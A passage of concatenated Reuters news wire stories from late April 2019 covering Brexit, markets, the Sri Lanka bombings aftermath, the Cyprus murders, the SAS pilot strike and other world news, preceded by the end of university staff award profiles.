the years, including the Boys and Girls Club of Carbondale, 13Pro and LifeSavers. He has worked as a motivational speaker and performing artist throughout the Southern Illinois region for almost a decade, lending his talents to theater performances, school and community events, and more. He has earned recognition from varied organizations, including earning the Zeta Phi Beta Sorority, Inc. Mu Delta Chapter Man of the Year and the Boys and Girls Club of Carbondale Community Leader and Mentor Award. Attig had an 11-year career as a toolmaker and metrology department supervisor before joining the College of Engineering as a tool and instrument mechanic in 2005. Since then, he has worked his way up to research laboratory shop supervisor. He earned both his bachelors degree and masters degree from SIU. As the adviser for SIUs Baja racing team and Moonbuggy team, Attig has a direct impact on students. He helps the teams design their cars, troubleshoot issues and travels with the teams to competition. He also trains students on how to use the machine shop tools, and personally plans and seeks funding to expand and improve the shop. You cant ask for a better role model for the students than Tim, said Tsuchin Philip Chu in a nomination letter. In 2017, he earned the College of Engineering Dean Thomas B. Jefferson Outstanding Staff Award. He is sometimes called The Wizard by his colleagues because some things he accomplished could have only been done through magic, said Liz Popolizio in a nomination letter. His knowledge, experience, respect, and authority all attribute to not only a great instructor, but a true and genuine leader. (Recasts headline and lead, adds Hammond quotes) By Ben Blanchard BEIJING, April 26 (Reuters) - British finance minister Philip Hammond said on Friday that he was hopeful of clinching a Brexit compromise with the opposition Labour Party to allow the ratification of Prime Minister Theresa May's thrice-defeated divorce deal. The United Kingdom was due to have left the EU on March 29, though May has been unable to get her divorce deal approved by parliament. It is now unclear when, how and even if Brexit will happen but the current deadline for leaving is Oct. 31. May's government is trying to convince the Labour Party to back her deal but Labour wants to keep Britain in a customs union with the EU and has been discussing the idea of holding a confirmatory referendum on any deal they agree. "I'm optimistic that we will find common ground," Hammond told Reuters in a pooled interview on the sidelines of a summit on China's Belt and Road initiative in Beijing. "I had a very constructive meeting with my Labour counterpart literally just before I went to the airport and got on a plane to come here on Wednesday. And there are further meetings going on in London right now." Hammond denied that talks with Labour had stalled. "There is a national interest imperative that we find a way through which allows Parliament to agree to support a deal, which will allow us to deliver Brexit while protecting the British economy, British businesses and British jobs," he said. British Foreign Secretary Jeremy Hunt said on Thursday he would opt to leave the EU without a deal if he was faced with a choice between a no-deal Brexit or not leaving the bloc at all. Hammond said a no deal would hurt the British economy. "If we were to have a no deal Brexit that would inflict serious short term turbulence on our economy and long term damage, reducing Britain's growth level and reducing the living standards of the British people. So I absolutely do not favor a no deal exit," he said. "We need to leave with a deal and we've put the deal to Parliament three times now but unfortunately Parliament has not been able to agree that deal," Hammond said. (Reporting by Ben Blanchard; Writing by Guy Faulconbridge editing by Darren Schuettler) (Adds details, quote) LONDON, April 26 (Reuters) - The world's biggest advertising company WPP reported an 8.5 percent slump in first-quarter underlying sales in North America, its biggest market, due to the loss of clients. WPP, being led by company veteran Mark Read following last year's departure of founder Martin Sorrell, said its overall organic revenue was down 2.8 percent, compared with a full-year forecast of a fall of between 1.5 to 2 percent. The British company reaffirmed its full-year outlook, including the forecast that the first half of the year would be more difficult than the second. "As anticipated, our first-quarter trading update reflects the impact of certain significant client losses in 2018, in particular in the United States," Chief Executive Mark Read said. WPP, the owner of agencies including JWT, Finsbury and Ogilvy, is in the middle of an overhaul launched by Read following several profit warnings in 2017 and 2018. The group has been particularly hard hit in the U.S., where it has lost work from clients including its biggest, Ford, and others in the pharmaceutical and consumer goods sector. Read has responded by merging several of its biggest agencies, appointing new leaders in the U.S. and launching a hunt for new creative talent. To help fund the turnaround WPP has put its data analytics business Kantar up for sale, looking for a partner to take a majority stake. It said on Friday it was pleased with the level of interest. (Reporting by Kate Holton, Editing by Paul Sandle) * Cyprus police search for serial killer's victims * Sources say he confessed to seven murders * British police to assist investigation (Updates with vigil, quote) By Michele Kambas NICOSIA, April 26 (Reuters) - Cypriot police searched on Friday for more victims of a suspected serial killer amid mounting public accusations that authorities bungled investigations and failed to heed concern about the safety of women. Several hundred people attended a candlelit vigil in the Cypriot capital Nicosia on Friday evening, and observed a minute's silence for what are believed to be seven victims, all foreign women. The main opposition party, the left-wing AKEL, called for the resignation of the justice minister and police chief over their handling of the case. Justice Minister Ionas Nicolaou and Police Chief Zacharias Chrysostomou have said there will be an investigation into any perceived shortcomings. Police sources said the suspect, a 35-year-old army officer who has been in detention for a week, has confessed to seven killings. This would make it by far the worst peacetime crime committed against women on the island in living memory. The bodies of three women, including two thought to be from the Philippines, have been recovered. Police sources said the suspect had indicated the location of the third body, found on Thursday, and had said the person was "either Indian or Nepali." Police were combing three different locations west of the capital Nicosia in a search for more bodies. A team of British detectives is due to arrive on the island on Monday to help with the investigation, police said. "These women came here to earn a living, to help their families. They lived away from their families. And the earth swallowed them, nobody was interested," AKEL lawmaker Irene Charalambides told Reuters. "This killer will be judged by the court but the other big question is the criminal indifference shown by the others when the reports first surfaced. I believe, as does my party, that the justice minister and the police chief should resign. They are irrevocably exposed." Story continues Police have said they will investigate any perceived shortcomings in their handling of the case. VULNERABILITY One person who did attempt to alert the authorities over the disappearances, a 70-year-old Cypriot citizen, has said his motives were questioned by police. Several hundred people gathered for Friday's vigil, organized on social media on Orthodox Good Friday which is one of the holiest dates on the Christian calendar. "We are here ... for our victims. We ask for justice for all these girls that were brutally murdered. It is a very devastating time, because we are all just here to work," said Lissa Jataas, of the OBRERAS Empowered Filipino Migrant Movement in Cyprus. "Nobody deserves this," she told Reuters, her voice breaking. The bodies of the two Filipino women, reported missing in May and August 2018, were found in an abandoned mine shaft this month. Police discovered the body of the third woman at an army firing range about 14 km (9 miles) from the mine shaft. Police are now searching for the six-year-old daughter of the first victim found, a Romanian mother who disappeared with her eight-year-old child in 2016, and a woman from the Philippines who vanished in December 2017. (Reporting By Michele Kambas Editing by Gareth Jones and Frances Kerry) (Updates with police saying multiple fatalities, other details) By Keith Coffman DENVER, April 25 (Reuters) - Multiple people were killed and many others injured in a fiery multi-vehicle crash west of Denver during the evening commute on Thursday when a tractor-trailer careened out of the control into several other vehicles, police said. Flames ignited by the crash on Interstate 70 engulfed three trucks and 12 cars, Ty Countryman, a spokesman for the police department in Lakewood, Colorado, told reporters. "The vehicle came down and ended up colliding with slower traffic, causing a very big chain-reaction crash that also ignited and started a fire," Countryman said, adding that six other people injured in the crash were taken to local hospitals. Police did not say how many people died, but in a late night Twitter post, they said, "Our crash investigation on I-70 continues. We can now confirm multiple fatalities." Video footage of the accident's aftermath showed flames raging beneath and around a highway overpass and a pall of black smoke in the air over the scene. A stretch of Interstate 70, a major east-west highway route that runs through Denver into the mountains, was closed in both directions. Police said late Thursday that the highway would remain closed overnight. Countryman said engineers from the state Transportation Department were inspecting the overpass bridge for possible structural damage from the fire. Investigators are looking at whether the truck lost its cargo, experienced brake failure or had some other mechanical issue, he said. It was not immediately clear which vehicle accounted for the fatality, he said. (Reporting by Keith Coffman in Denver; and Rich McKay in Atlanta; Editing by Lisa Shumaker and Richard Borsuk) * FTSE 100, FTSE 250 down 0.1 pct * Glencore falls after reporting U.S. CFTC probe * Brexit uncertainty hits RBS profits * Ferrexpo tanks after auditor quits * Computacenter rallies on mid-caps (Adds news items, updates to closing prices) By Shashwat Awasthi and Muvija M April 26 (Reuters) - The FTSE 100 inched lower as Glencore shares fell on news of another U.S. investigation, oil majors tumbled and earnings reports knocked RBS and Just Eat, while Ferrexpo tanked after its auditor quit amid an accounting probe. Both the FTSE 100 and the FTSE 250 ended 0.1 percent lower, although the blue-chips trimmed losses after data showed U.S. economic growth accelerated in the first quarter. Mining company Glencore fell 3.3 percent after saying that the U.S. Commodity Futures Trading Commission was investigating possible "corrupt practices" that may have broke some rules. Royal Bank of Scotland skidded 4 percent, its biggest fall in nearly five months, as it reported lower first-quarter profit that was hurt by intensifying competition and Brexit uncertainty. Oil majors Shell and BP weighed heavily on the bourse as U.S. rival Exxon Mobil slumped on the Wall Street after reporting a 49 percent plunge in quarterly profit due to weakness across its major businesses. A fall in crude prices, with the market retreating from its strongest bull run in at least a year, also did not help oil shares. Online takeaway service Just Eat fell 4.6 percent after reporting slower growth in UK orders during the first quarter, which it blamed on warm weather in February and a later Easter this year. "Weather has always been a factor for Just Eat, and we remain convinced that there are solutions to that, but they haven't yet been put into place," Peel Hunt analysts said. Helping contain losses on the main index was the world's largest advertising company, WPP, which enjoyed its biggest one-day rise in nearly a year with a 5.4 percent jump after reporting higher revenue and reiterating its annual targets. Story continues While the FTSE 100 had dropped for the last three sessions, it still remains on course for its fourth straight month of gains. The mid-cap index is on track to post monthly gains as well, despite the re-emergence of Brexit uncertainties. Goldman Sachs said Brexit's effect on the British economy was intensifying as the process of leaving the European Union drags on. Ferrexpo plummeted 28.4 percent on its worst day in 3-1/2 years after Deloitte abruptly quit as its auditor. The stock drop came as the iron ore pellet producer said some funds of a charity it donates in Ukraine might have been "misappropriated." Insurer Hastings slumped 12.8 percent, its steepest drop in six months, after it forecast an annual loss ratio - the amount it spends on claims compared with income from premiums - towards the higher end of its target range. Its blue-chip peers Admiral Group and Direct Line gave up 1 percent and 1.2 percent, respectively. Computacenter surged 18.3 percent on its best day in nearly a decade as the IT services company stuck to its annual targets after a "pleasing" first quarter. (Reporting by Shashwat Awasthi and Muvija M in Bengaluru Editing by Janet Lawrence, Larry King and Frances Kerry) (Adds details from hearing) By Zachary Fagenson WEST PALM BEACH, Fla., April 26 (Reuters) - Lawyers for New England Patriots owner Robert Kraft grilled a Florida police detective on Friday, seeking to persuade a judge to toss out hidden-camera footage that prosecutors say shows the 77-year-old soliciting prostitution at a massage parlor. "We think the whole warrant is unlawful," defense attorney Jack Goldberger told Judge Leonard Hanser in Palm Beach County court near the start of a multiday hearing scheduled to resume on Tuesday. Prosecutors responded that Kraft cannot challenge the video's legality because he could not have had any expectation of privacy in the first place. "An individual who is in a business establishment with no ties to that establishment, much less there to engage in a crime, has no expectation of privacy," Assistant State's Attorney Greg Kridos said. The video could be key evidence against the billionaire owner of the reigning Super Bowl champions, who faces two misdemeanor counts of soliciting prostitution at the Orchids of Asia Spa in Jupiter, Florida, along with some two dozen other men. Kraft's high-powered legal team is fresh off a win on Tuesday, when they successfully persuaded Hanser to temporarily block prosecutors from releasing the hidden-camera footage to media outlets, which had requested copies under the state's robust open records law. Kraft, who has owned the Patriots since 1994, pleaded not guilty, but has issued a public apology for his actions. His attorneys have argued that the surreptitious videotaping of customers, including Kraft, inside a massage parlor was governmental overreach and the result of an illegally obtained search warrant. The warrant, Kraft's lawyers claim, was secured under false pretenses because the application was misleading. Among other alleged flaws, they said, police cited human trafficking as a potential crime in their application but prosecutors have since acknowledged that the investigation yielded no evidence of trafficking. At Friday's hearing, Alex Spiro, one of Kraft's lawyers, pressed that argument. He spent hours challenging the lead detective, Andrew Sharp, on precisely what he wrote in the warrant affidavit. Kraft is accused of visiting the day spa twice in January, including on the morning of the day the Patriots defeated the Kansas City Chiefs to earn a Super Bowl berth. Two weeks later, the team won its sixth championship under Kraft's ownership. (Reporting by Zachary Fagenson, writing by Joseph Ax; Editing by Scott Malone, Jonathan Oatis and Bill Berkrot) * Journalist's death has provided "spark" for process * First direct dialog since talks last collapsed Feb 2018 * Brexit, UK government deal have complicated process (Adds Irish foreign minister quotes, reaction from Sinn Fein, DUP) By Amanda Ferguson and Padraic Halpin BELFAST/DUBLIN, April 26 (Reuters) - The British and Irish governments announced on Friday a resumption of talks to restore Northern Ireland's devolved government, spurred into ending a hiatus in dialog of more than a year by the killing of a journalist last week. The British-run province has been without a devolved executive for over two years since Irish nationalists Sinn Fein withdrew from the compulsory power-sharing government with the pro-British Democratic Unionist Party (DUP). But the shooting dead last week of 29-year-old reporter Lyra McKee during rioting by militant Irish nationalists has raised pressure on the parties from voters and the two governments to re-establish the regional government that is central to Northern Ireland's 1998 peace agreement. "We are leaving far too much wide open space for other kinds of voices that don't believe in democracy, that peddle hate and fear," Irish Foreign Minister Simon Coveney told a joint news conference with his co-broker of the talks, Britain's Northern Ireland minister Karen Bradley. "People have no patience for another show of a process or talks that go on and on and on, and then in the end go nowhere. We've had enough of that. It needs to be different this time." The talks will begin on May 7 after local elections in the province with the aim of concluding well in advance of mid-July, when annual parades often raise tensions between pro-British Protestants and Irish nationalist Catholics, Coveney said. At McKee's funeral on Wednesday, Roman Catholic priest Father Martin Magill received a spontaneous standing ovation when he made a direct appeal to the politicians in the church to use McKee's death as a catalyst to start talking again. Story continues "There are moments in politics when things change. I think the emotion of the last week has given a spark to the process," Coveney said. "We'd be very foolish if we allowed that time to pass." Attempts to find a compromise have been complicated by poor relations between Sinn Fein and the DUP, the DUP's role in propping up May's minority government in London, and the impact on the region of Britain's planned exit from the European Union. The talks most recently collapsed in February last year when Sinn Fein said that they had reached an accommodation with the leadership of the DUP that put an agreement within reach but that the DUP failed to close the deal and collapsed the talks. While both sides welcomed the talks, neither have shown much willingness to budge in recent days, despite the pressure. "Anyone who thinks agreement can be reached through a one-sided wish-list being implemented is not routed in reality," DUP leader Arlene Foster, who cited Sinn Fein's call for additional rights for Irish-language speakers as the main reason for the impasse last time, said in a statement. Sinn Fein's leader in Northern Ireland, Michelle O'Neill, said the talks had to deliver on rights-based issues so that all people in the province are "treated equally." "Nothing's changed in terms of what we need to deliver on. We can't acquiesce in the denial of rights," she told reporters. (Editing by Kate Holton and Toby Chopra) (New throughout, adds further comments from the officials, adds background) By Timothy Gardner and Humeyra Pamuk WASHINGTON, April 26 (Reuters) - Two Trump administration officials said on Friday that neither a wind-down period nor a short-term waiver on China's oil purchases from Iran are being contemplated after Washington surprised Irans customers on Monday by demanding they halt the purchases by May 1 or face sanctions. The administration has been clear to China, Iran's top oil consumer, about no additional waivers to the sanctions after the ones granted last November, one of the senior officials said. They've known about it, so to my knowledge thats not being contemplated, said the official, adding that ultimately questions about any wind-down period are for the State Department. The State Department did not immediately respond to a request for comment. Under U.S. sanctions law, importers of Iranian oil including China, India and Turkey, could be allowed a wind-down period before getting to zero oil purchases, including a short-term waiver. Any wind-down measures would be different than the 180 day exceptions the Trump administration granted in November to China and seven other importers for significantly reducing oil purchases from Iran, measures set to end in May. China has alternative oil suppliers including the United States and Saudi Arabia said the officials, who spoke on condition of anonymity. "We understand they dont like this," the official said about China's aversion to sanctions on Iran from the United States alone. "But at same time they tend to act pragmatically and they are going to take what the best most reliable deal is." President Donald Trump left the Iran nuclear deal between Tehran and six world powers last May. Trump is now reapplying the oil sanctions, without exceptions, for reducing oil purchases, a step the Obama administration never took when it slapped sanctions on Iran. Story continues Trump's sanctions on Iran are intended to curb its nuclear and ballistic missile program and reduce its influence in Syria, Yemen and other countries in the Middle East. Obama's sanctions targeted only Iran's nuclear program. After the Trump administration announced on Monday its intent to sink Iran's oil exports to zero, Iran's Revolutionary Guards repeated a threat to block the Strait of Hormuz, a vital shipping route linking Middle East oil producers to markets in Asia, Europe and North America. One of the Trump officials said such a move would hurt both Iran and its allies. "Any attempt to disrupt freedom of navigation would be debilitating to Iran first and foremost ... and then to the range of the international community ... working hard to advocate on their side," the official said. If China does not cut Iran oil purchases to zero, the Trump administration may have to make a decision on blocking Chinese banks from the U.S. financial system. That could have unintended consequences for finance and business between the world's two biggest economies, already in negotiations over trade disagreements. "It could," one official conceded about the potential for unintended consequences, "but that's why China's decision is easy, it's not a difficult decision for them mathematically. They do business with the U.S. which is critical, they do business with Iran which is not critical." (Reporting by Timothy Gardner and Humeyra Pamuk in Washington Editing by James Dalgleish and David Gregorio) (Adds detail about timing, background) By Idrees Ali WASHINGTON, April 26 (Reuters) - The Pentagon said on Friday that it expected to send about 300 additional troops to the border with Mexico including roughly 100 cooks who would hand out meals, breaking with past policy to avoid troops coming in contact with migrants. It is the latest sign of a growing U.S. military support role for President Donald Trump's politically charged immigration policies. Earlier this month, Trump said he would have to mobilize more of the military at the border with Mexico after listening to stories about migrants crossing the border from people attending a Republican fundraiser. The Pentagon previously said there were no plans for U.S. forces to interact with migrants as they support border agents dealing with illegal immigration. In addition to the cooks, the Pentagon is expected to send 160 drivers and 20 lawyers, Pentagon spokesman Charlie Summers said. "We will have some of our troops handing out meals, therefore (they) would come in contact with migrants," Summers said. He said it was an "amendment to the current policy." U.S. troops are assisting Border Patrol agents who have been overwhelmed trying to cope with a surge in migrants seeking asylum. The Department of Homeland Security a few weeks ago redeployed about 750 officers to the border to deal with the surge, resulting in a slowing of legal crossings and commerce at ports of entry. Summers said acting Defense Secretary Patrick Shanahan had not yet signed the request for assistance from the Department of Homeland Security, but he was expected to do so. There are currently about 5,000 active-duty and National Guard troops near the border, though that number fluctuates. There has been increasing concern about the military playing a growing role on the border with Mexico. The Posse Comitatus Act, a federal law on the books since the 1870s, restricts using the U.S. Army and other main branches of the military for civilian law enforcement on U.S. soil, unless specifically authorized by Congress. But the military can provide support services to law enforcement and has done so on occasion since the 1980s. Story continues Earlier this month six Mexican military personnel questioned two U.S. Army soldiers near Clint, Texas. A U.S. military investigation found the American soldiers were in U.S. territory during the incident, while the Mexican personnel believed they were south of the border. Trump has made immigration a signature issue of his presidency and of his re-election campaign. He declared a national emergency over the issue earlier this year in an effort to redirect funding from Congress to build a wall along the U.S. southern border. (Reporting by Idrees Ali Editing by Alistair Bell and Leslie Adler) * Poland, Germany, Ukraine, others halt Russia oil imports * Talks with some importers held in Minsk * Unidentified Russian producer contaminated oil * Russia has said it will pump clean oil from April 29 (Adds Transneft, Ukrtransnafta comments, writes through) By Andrei Makhovsky, Olga Yagova and Maria Tsvetkova MINSK/MOSCOW, April 26 (Reuters) - Russia plans to restore oil supplies via its key Druzhba pipeline to Europe in two weeks, after joint talks with Belarus, Ukraine and Poland on Friday in Minsk. Poland, Germany, Ukraine and other countries suspended imports of Russian oil via the pipeline this week due to contamination. Halting those supplies has knock-on effects further along the network. After joint talks in the Belarus capital on Friday, Russia's Deputy Prime Minister Dmitry Kozak said in a statement that the four countries had agreed on joint measures to eliminate the effects of the contamination. "This would allow us, as earlier planned, to supply... (clean) oil to the border with Belarus by April 29 and to restore the pipeline (to stability) in two weeks," Kozak said in the statement on Friday. Pavel Sorokin, Russia's deputy energy minister, told reporters in Minsk after the talks that one of the options for supplying clean oil was to mix the contaminated product with regular supply. Russia's pipeline monopoly Transneft said on Friday that the contamination which led to the suspension of the oil flows to Europe could be deliberate, Interfax news agency reported. The problem arose last week when an unidentified Russian producer contaminated oil with high levels of organic chloride, which is typically used to boost oil output but which must be separated before shipment as it can destroy refining equipment. "A criminal case was opened over an intended contamination of Russian oil," Transneft spokesman, Igor Dyomin, was quoted as saying by Interfax. The pollution was detected at the private Samara Transneft-terminal, where oil is being supplied to the system, according to Transneft's Dyomin. He said the terminal receives crude oil from a number of small producers. Story continues Dyomin did not name the producers but said investigators were making searches at a number of private companies in the Volga town of Samara. Reuters could not reach the Samara Transneft-terminal via telephone due to the late hour. TRANSIT SUSPENDED Ukrtransnafta suspended the transit of oil through the pipeline on Thursday, closing supplies via Druzhba's southern route to Slovakia, the Czech Republic and Hungary. The suspension cut off a major supply route for Polish refineries owned by Poland's PKN Orlen and Grupa Lotos , as well as plants in Germany owned by Total , Shell, Eni and Rosneft. The pipeline issue, which has supported global oil prices, lifted Russian Urals crude differentials to an all-time high on Thursday. With pipeline supplies to Europe shut, Russia faces a challenge of how to divert about 1 million barrels per day (bpd) that was meant to be shipped through the network to other destinations at a time when export capacity is at its limits. State-run Russian Railways held talks with domestic companies on using up to 5,000 rail tankers to transport crude, the RIA news agency reported on Friday. Concerns about the quality of Urals crude also caused delays in loadings at the Baltic port of Ust-Luga, resulting in a brief shutdown on Wednesday and Thursday. A port official and traders said on Friday loadings had resumed. Russian loading plans indicate it aims to boost Urals exports in May before the expiry of a deal on output cuts agreed with the Organization of the Petroleum Exporting Countries (OPEC) and its allies, Reuters calculations and Energy Ministry data show. Russian deputy prime minister Kozak, who is in charge of government energy policy, said this week that those found responsible for contaminating the oil could be fined. He did not provide names. (Reporting by Agnieszka Barteczko in WARSAW, Sandor Peto in BUDAPEST, Jason Hovet in PRAGUE, Matthias Williams and Natalia Zinets in KIEV, Katya Golubkova, Olesya Astakhova, Gleb Gorodyankin, Olga Yagova, Darya Korsunskaya and Maxim Rodionov in MOSCOW, Andrei Makhovsky in MINSK; writing by Katya Golubkova and Olga Yagova; Editing by Michael Perry, Edmund Blair and Jan Harvey) By Ivan Ssenabulya. Kyadondo East Member of Parliament Robert Kyagulanyi Ssentamu has asked the people of Bugiri to love their country. The MP after escaping police house arrest, addressed mourners in Bugiri this afternoon at the burial of former Bugiri district chairperson Siraje Lyavaala. Bobi Wine alongside the area MP Asuman Basalirwa has asked them to know that Uganda is bigger than any of them, and work towards causing change for a better Uganda. He has described the late Lyavaala as a patriotic person, and good friend much as he was a member of NRM. * Cancels 70 percent of flights * Strike of two weeks could wipe out annual profit -analyst * Industry facing rising fuel costs, pilots shortage (Adds quotes from Copenhagen airport, detail) By Esha Vaish and Andreas Mortensen OSLO/COPENHAGEN/STOCKHOLM, April 26 (Reuters) - SAS pilots in Norway, Sweden and Denmark went on strike on Friday as wage talks broke down, threatening the travel plans of some 170,000 passengers over the weekend. The airline canceled around 70 percent of its flights on Friday and Saturday. SAS is in the midst of renewing an aging fleet after spending years cutting costs in the face of competition from budget carriers such as Norwegian Air Shuttle and Ryanair. At airports across Scandinavia stranded passengers were queuing at SAS counters to get help. At Copenhagen Airport, Spanish teachers Juan Manuel Gonzalez and Miguel Angel, on a trip with 23 students to Chicago, had been re-booked on a flight on Saturday, but the delay was proving costly for their students. "The kids had tickets for basketball and theaters tonight, so they won't be able to get a refund. It is a nightmare for them and they're in a very bad mood," Gonzalez said. On her way from the Faroe Islands to her home in Frankfurt, Astrid Melbert did not know when she would be able to leave Copenhagen. "The last two times I've been traveling, I was hit by strikes, so I thought I would book with SAS this time. See how that went," she said. Many flights at regional rival Norwegian Air were sold out on Friday with some ticket prices on its website soaring. A flight between Oslo and Stockholm cost 9,000 Swedish crowns ($948), several thousand more than might normally be expected. TALKS ON HOLD SAS, whose shares traded 5.3 percent lower in Stockholm on Friday, said it hoped to resume negotiations and reach an agreement with its pilots as soon as possible. "As a consequence of the strike, domestic, European and long-haul flights have been canceled, and thousands of travelers will be affected," it said in a statement. Story continues SAS said it was prepared to continue to negotiate, but that if the pilots' requirements were met, it would have "very negative consequences" for the company. Analysts at Sydbank expect the strike to cost SAS 60-80 million Swedish crowns ($6.3-$8.4 million) per day, wiping out an expected net profit for the year if it lasts for two weeks. "The SAS pilots' strike...makes it clear that SAS is more vulnerable than we previously expected," Sydbank analysts said. In total, 1,409 pilots from a total of around 1,500 across the three countries went on strike on Friday. Flights operated by SAS partners, which make up approximately 30 percent of all departures, were not affected, the airline said. "The strike could have been avoided, if SAS had shown a real willingness to meet us halfway," said Rene Arpe, chairman of the Danish pilot union. The aviation industry's employer body in Sweden said pilots held onto their "extreme wage claims," demanding a 13 percent wage increase despite what it called already high average wages of 93,000 Swedish crowns ($9,759.89) a month. The unions dispute the figure, saying salaries start at 34,000 SEK, increasing over 25 years to 98,000 for a captain. LABOUR TENSION The SAS Pilot Group, a federation representing 95 percent of the airline's pilots in Denmark, Norway and Sweden, said in a statement it had tried to gain greater transparency about working hours. Most pilots don't have fixed schedules and in some situations risk working seven weekends in a row, the group said, adding that pilots were prepared for a "prolonged" strike. Close to bankruptcy in 2012, SAS was forced to sell assets and cut wages and thousands of jobs in return for a life-saving credit facility. It has posted a net profit in each of the last four years. But fuel costs are rising in line with crude prices and European airlines face continued overcapacity and currency volatility, factors that have toppled several smaller players in the past year. Labour tensions have also risen in the past two years as the industry faces a global pilot shortage. That has bolstered pilots' bargaining power, as seen at other airlines including Ryanair, Lufthansa and Air France. ($1 = 9.5165 Swedish crowns) (Reporting by Terje Solsvik and Gwladys Fouche in Oslo, Jacob Gronholt-Pedersen in Copenhagen, Anna Ringstrom and Niklas Pollard in Stockholm; editing by Jason Neely and Kirsten Donovan) (Removes extraneous words from paragraph 2) * Stay away from churches, mosques - religious leaders * President says police seeking 140 with links to Islamic State * Sri Lanka on edge, with warnings more attacks possible * About 10,000 troops deployed for searches, security work * Muslims flee in fear of retaliatory attacks By Sanjeev Miglani and Ranga Sirilal COLOMBO, April 26 (Reuters) - Sri Lankan police are trying to track down 140 people believed linked to Islamic State, which claimed responsibility for the Easter Sunday suicide bombings that killed 253, as shooting erupted in the east during a raid. Muslims in Sri Lanka were urged to pray at home after the State Intelligence Services warned of possible car bomb attacks, amid fears of retaliatory violence. And the U.S. Embassy in Sri Lanka urged its citizens to avoid places of worship over the weekend after authorities reported there could be more attacks targeting religious centers. Archbishop of Colombo Cardinal Malcolm Ranjith told reporters he had seen a leaked internal security document warning of further attacks on churches and there would be no Catholic masses this Sunday anywhere on the island. The streets of Colombo were deserted on Friday evening, with many people leaving offices early amid tight security after the suicide bombing attacks on three churches and four hotels that also wounded about 500 people. President Maithripala Sirisena told reporters some Sri Lankan youths had been involved with Islamic State since 2013. He said information uncovered so far suggested there were 140 people in Sri Lanka involved in Islamic State activities. "Police are looking to arrest them," Sirisena said. Nearly 10,000 soldiers were deployed across the Indian Ocean island state to carry out searches and provide security for religious centers, the military said on Friday. The All Ceylon Jamiyathul Ullama, Sri Lanka's main Islamic religious body, urged Muslims to conduct prayers at home in case "there is a need to protect family and properties." Story continues Illustrating the tension that has gripped the country, shooting erupted between security forces and a group of men in the east during a search and cordon operation, a military spokesman said. The raid took place in the town of Ampara Sainthamaruthu near Batticaloa. The spokesman said there was an explosion in the area and when soldiers went to investigate they were fired upon. No details of casualties were immediately available. Police have detained at least 76 people, including foreigners from Syria and Egypt, in their investigations so far. Islamic State provided no evidence to back its claim that it was behind the attacks. If true, it would be one of the worst attacks carried out by the group outside Iraq and Syria. The extremist group released a video on Tuesday showing eight men, all but one with their faces covered, standing under a black Islamic State flag and declaring their loyalty to its leader, Abu Bakr Al-Baghdadi. DEFENCE, POLICE CHIEFS QUIT The government said nine homegrown, well-educated suicide bombers carried out the attacks, eight of whom had been identified. One was a woman. Authorities have so far focused their investigations on international links to two domestic Islamist groups - National Thawheed Jama'ut and Jammiyathul Millathu Ibrahim - they believe carried out the attacks. Government officials have acknowledged a major lapse in not widely sharing an intelligence warning from India before the attacks. Sirisena said top defense and police chiefs had not shared information with him about the impending attacks. Defense Secretary Hemasiri Fernando resigned over the failure to prevent the attacks. "The police chief said he will resign now," Sirisena said. He blamed Prime Minister Ranil Wickremesinghe's government for weakening the intelligence system by focusing on the prosecution of military officers over alleged war crimes during a decade-long civil war with Tamil separatists that ended in 2009. Sirisena fired Wickremesinghe in October over political differences, only to reinstate him weeks later under pressure from the Supreme Court. Opposing factions aligned to Wickremesinghe and Sirisena have often refused to communicate with each other and blame any setbacks on their opponents, government sources say. Cardinal Ranjith said that the church had been kept in the dark about intelligence warning of attacks. We didnt know anything. It came as a thunderbolt for us, he said. The Easter Sunday bombings shattered the relative calm that had existed in Buddhist-majority Sri Lanka since the civil war against mostly Hindu ethnic Tamil separatists ended. Sri Lanka's 22 million people include minority Christians, Muslims and Hindus. Until now, Christians had largely managed to avoid the worst of the island's conflict and communal tensions. Most of the victims were Sri Lankans, although authorities said at least 38 foreigners were also killed, many of them tourists sitting down to breakfast at top-end hotels when the bombers struck. They included British, U.S., Australian, Turkish, Indian, Chinese, Danish, Dutch and Portuguese nationals. Britain warned its nationals on Thursday to avoid Sri Lanka unless it was absolutely necessary. Fears of retaliatory sectarian violence have already caused Muslim communities to flee their homes amid bomb scares, lockdowns and security sweeps. But at the Kollupitiya Jumma Masjid mosque, tucked away in a Colombo side street, hundreds attended a service they say was focused on a call for people of all religions to help return peace to Sri Lanka. "It's a very sad situation," said 28-year-old sales worker Raees Ulhaq, as soldiers hurried on dawdling worshippers and sniffer dogs nosed their way through pot-holed lanes. "We work with Christians, Buddhists, Hindus. It has been a threat for all of us because of what these few people have done to this beautiful country." (Reporting by Sanjeev Miglani and Joe Brock Writing by Michael Perry Editing by Paul Tait and Nick Macfie) (Adds quotes from Trump, background on Putin meeting) WASHINGTON, April 26 (Reuters) - U.S. President Donald Trump, who ended a summit with North Korean leader Kim Jong Un earlier this year without a nuclear deal, said on Friday a lot of progress was being made towards an agreement and welcomed support from Russian President Vladimir Putin. Putin said after holding his first face-to-face talks with North Korean leader Kim Jong Un on Thursday that U.S. security guarantees would probably not be enough to persuade Pyongyang to shut its nuclear program. Putin said he believed any U.S. guarantees might need to be supported by the other nations involved in previous six-way talks on the nuclear issue, which included Russia, China, Japan and South Korea as well as the United States and North Korea. That format has been sidelined by unilateral U.S. efforts to broker a deal. "I think we're doing very well with North Korea. A lot of progress is being made," Trump told reporters at the White House. "I appreciated President Putin's statement yesterday. He wants to see it done also. I think there's a lot of excitement for getting a deal done with North Korea." Trump said he appreciated Russian and Chinese support and said China may have been helping in part because of trade negotiations between Washington and Beijing. "I have a great relationship with Kim Jung Un," Trump said. "And China's helping us, because I think they want to. They don't need nuclear weapons right next to their country. But I also think they're helping us because of the fact that we're in a trade deal, which by the way is going very well." Putin described Kim as "quite open" and as "thoughtful" and "interesting." (Reporting by Jeff Mason and Makini Brice) (Corrects day of announcement in paragraph 5 to Thursday, not Tuesday) WASHINGTON, April 26 (Reuters) - U.S. President Donald Trump on Friday urged Americans to protect themselves with the measles vaccination as the number of cases of the once-eradicated disease hit the highest levels in the United States since 2000. The growing outbreak in pockets across the country has triggered multiple public health investigations seeking to limit exposure to measles, including quarantines at two California universities. "They have to get their shots," Trump told reporters at the White House. Nearly 700 cases have been confirmed by federal health officials so far this year in a resurgence that has so far been concentrated in a handful of states, including New York, Washington, Michigan, New Jersey and California. On Thursday, county public health officials ordered dozens of people quarantined at the University of California, Los Angeles (UCLA) and California State University, Los Angeles (Cal State LA) following an April 11 exposure to the virus. (Reporting by Jeff Mason and Makini Brice Writing by Susan Heavey Editing by Chizu Nomiyama and Jonathan Oatis) (Adds more details, Ford statement, Justice Department declining comment) By David Shepardson and Ankit 